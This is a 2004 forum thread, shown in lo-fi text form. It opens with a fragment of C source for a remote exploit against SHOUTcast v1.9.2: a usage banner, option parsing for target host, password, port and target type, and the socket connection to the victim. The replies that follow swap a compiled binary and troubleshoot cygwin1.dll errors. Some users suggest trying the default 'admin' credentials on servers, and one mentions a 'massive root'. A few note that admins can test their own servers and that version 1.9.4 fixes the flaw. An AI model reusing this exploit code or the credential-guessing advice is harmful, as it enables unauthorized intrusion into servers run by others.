fprintf(stderr,"Usage: %s -t [-pah]\n",prog); fprintf(stderr,"-t version Linux version.\n"); fprintf(stderr,"-h target The host to attack.\n"); fprintf(stderr,"-a password Default password is \"changeme\".\n"); fprintf(stderr,"-p port Default port is 8001.\n\n"); }
int delay = 12; int i = 0; int mode = 0; int local_port = 0; int opt = 0; int ret = 0; int sin_len = sizeof (struct sockaddr_in); int sock = 0; int sock2 = 0; int sockd = 0; int listener = 0; int time_out = 4; int tmp = 0;
srand(getpid());
fprintf(stdout,"SHOUTcast v1.9.2 remote exploit by exworm of 0seen\n"); fprintf(stdout,"--------------------------------------------------(www.oseen.org)\n");
while((c=getopt(argc,argv,"h:p:a:t:")) !=EOF) { switch(c) { case 'p': port=atoi(optarg); if ((port <= 0) || (port > 65535)) { fprintf(stderr,"Invalid port.\n\n"); exit(1); } break; case 'a': memset(pass,0x0,sizeof(pass)); strncpy(pass,optarg,sizeof(pass) - 1); break; case 't': type = atoi(optarg); if (type == 0 || type > sizeof(targets) / 28) { for(i = 0; i < sizeof(targets) / 28; i++) fprintf(stderr, "%02d. %s - %s [0x%08x - 0x%08x]\n", i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax); return -1; } break; case 'h': memset(host,0x0,sizeof(host)); strncpy(host,optarg,sizeof(host) - 1); break;
default: usage(argv[0]); exit(1); break; } }
timeout.tv_sec = time_out; timeout.tv_usec = 0;
if (strlen(host) == 0) { usage(argv[0]); exit(1); } sock=openhost(host, 8001);
if (sock==-1) { fprintf(stderr,"- Unable to connect.\n\n"); exit(1); }
it not that good of an expoit, because you need to know the password to log onto the system before you can exploit it.
ducky
Mar 6 2004, 11:55 AM
QUOTE (niemic @ Mar 6 2004, 01:39 AM)
it not that good of an expoit, because you need to know the password to log onto the system before you can exploit it.
i think it's better that way only radio admins can check the vuln and not some people who want to make a pubstro of your hosting...
DaClueless
Mar 6 2004, 03:43 PM
QUOTE (ducky @ Mar 6 2004, 11:55 AM)
i think it's better that way only radio admins can check the vuln and not some people who want to make a pubstro of your hosting...
That is true, it is only a problem if you give people admin access to you SHOUTcast.
agathos
Mar 8 2004, 01:02 PM
default user & password are admin maybe you have some luck to find
aapje
Mar 8 2004, 02:21 PM
when can i access download section ?
Frenkovic
Mar 9 2004, 01:37 AM
QUOTE (agathos @ Mar 8 2004, 01:02 PM)
default user & password are admin maybe you have some luck to find
good info!
will try that for sure!
thesensor
Mar 12 2004, 04:51 PM
I really want access for download section But thankz anywayz
Acid-Burn
Mar 12 2004, 04:55 PM
grt exploit i tried it
(sorry for my english)
som3aa
Mar 12 2004, 10:53 PM
QUOTE (hulk @ Mar 5 2004, 11:04 PM)
I compiled it, check the download section
thanx Hulk but.... i don't have access to download section could u host it anywhere please??
brOmstar
Mar 12 2004, 11:27 PM
why don't u try to compile the exploit?
Serhat
Mar 17 2004, 05:33 PM
QUOTE (aapje @ Mar 8 2004, 02:21 PM)
when can i access download section ?
You need to get MEMBER status I wanted to compile it for you and share it on my webhost but... getting a error that sockios.h can't be found.. when I downloaded it and put it in the dir.. it still gave the same message Sorry.. I alteast tried
Serhat
[EDIT]
Could manage to get it too work after renaming some source files etc..
[EDIT2} I got an e-mail saying it gives an error that's because it needs cygwin1.dll... it is a free dll.. so you could get it without problems.. but I upped that one also... to make it easier for you all http://members.lycos.nl/sgu/cygwin1.dll
Serhat
KieMaN
Mar 19 2004, 12:50 AM
Nice i should try it
oxydrine
Mar 19 2004, 07:01 AM
Nice i try it to thx so much for this xploit
Sp00ky
Mar 21 2004, 08:46 AM
hey m8 this is something usefull i think nice xploit
Sp00ky
Mar 21 2004, 08:49 AM
umm i get a realy weird error when trying this sploit.. it says that my cygwin1.dll is not a good windows copy or something :S
eclipze
Mar 21 2004, 10:09 AM
you need cygwin1.dll in the same dir as you run the sploit in , caus its a linux sploit..
aapje
Mar 21 2004, 11:18 AM
well i tried it with linux, when i fill in target etc, it says unable to fetch local ip use -d. THen i use -d, then it says invalid parameter -d =\
Sp00ky
Mar 21 2004, 11:19 AM
i did that and still i get that error :S
mkwento
Mar 21 2004, 11:24 AM
"...cygwin1.dll is not a good windows copy or something .."
i've the same error
dexxxx
Mar 21 2004, 12:36 PM
good exploit.
works. but u need a shoutcast account
Gehaktbal
Mar 21 2004, 12:48 PM
QUOTE (dexxxx @ Mar 21 2004, 12:36 PM)
good exploit.
works. but u need a shoutcast account
You can check if your own server is vulnerable but i guess you can't start a massive root with this hehe.
Try securing your Shoutcast
XpProf
Mar 21 2004, 01:12 PM
It's out Shoutcast 1.9.4, i think that all servers are now updated.
Dl-Piro
Mar 21 2004, 02:47 PM
i got a problam Serhat i do all what u said i download cygwin1.dll and still get error "cygwin1.dll is not a vaild windows image. Please check the against installation diskette."
plz some one can help me ??????
Silent Bob
Mar 21 2004, 03:41 PM
maybe because your dll is outta date, try downloading a newer version, i got a prob like that, could of been bad dll, im unsure
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.